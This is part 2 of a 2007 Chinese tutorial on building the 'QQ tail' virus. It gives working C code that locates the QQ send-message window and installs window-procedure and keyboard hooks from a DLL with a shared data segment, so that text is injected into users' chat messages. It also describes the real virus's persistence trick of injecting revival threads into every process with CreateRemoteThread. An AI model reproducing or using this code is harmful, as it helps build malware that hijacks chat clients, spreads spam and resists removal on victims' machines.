跟我学制作“QQ尾巴病毒”(2)

跟我学制作“QQ尾巴病毒”(2) - 电脑安全 - 电脑教程网

跟我学制作“QQ尾巴病毒”(2)

日期:2007-09-29   荐:
  跟我学制作“QQ尾巴病毒”    挂接钩子和查找窗口    接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?    挂接钩子的目标,肯定是QQ“发送信息”窗口的所属 线程 。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接: // 挂接钩子 BOOL WINAPI SetHook(HWND hQQ) { BOOL bRet = FALSE; if (hQQ != NULL) { DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL); // 感谢好友hottey的查找代码,省去了我使用Spy 的麻烦 g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD); if (g_hRich == NULL) return FALSE; // 挂接钩子 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID); g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID); bRet = (g_hProc != NULL) && (g_hKey != NULL); } else { // 卸载钩子 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey); g_hProc = NULL; g_hKey = NULL; g_hRich = NULL; } return bRet; }    到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。    DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟 内存 机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码: // 感谢好友hottey的查找代码,省去了我使用Spy 的麻烦 HWND hSend; g_hQQ = NULL; SetHook(NULL); do { g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL); hSend = FindWindowEx(g_hQQ, NULL, "Button", "发送(&S)"); } while(g_hQQ != NULL && hSend == NULL); if (g_hQQ != NULL) SetHook(g_hQQ);    这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy 的麻烦。我所做的,只是把他文中的 Delphi 代码翻译成了C代码。 DLL的共享数据段    如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问: // 定义共享数据段 #pragma data_seg("shared") HHOOK g_hProc = NULL; // 窗口过程钩子句柄 HHOOK g_hKey = NULL; // 键盘钩子句柄 HWND g_hRich = NULL; // 文本框句柄 #pragma data_seg() #pragma comment(linker, "/section:shared,rws")    这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?    是的,添加尾巴失败!    好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:    这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C 中static的成员变量有些相似。    在钩子挂接成功之后,你可以通过一些有模块查看功能的 进程 管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。    最后一些要说的    1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。    2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。    3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。 (完)
标签: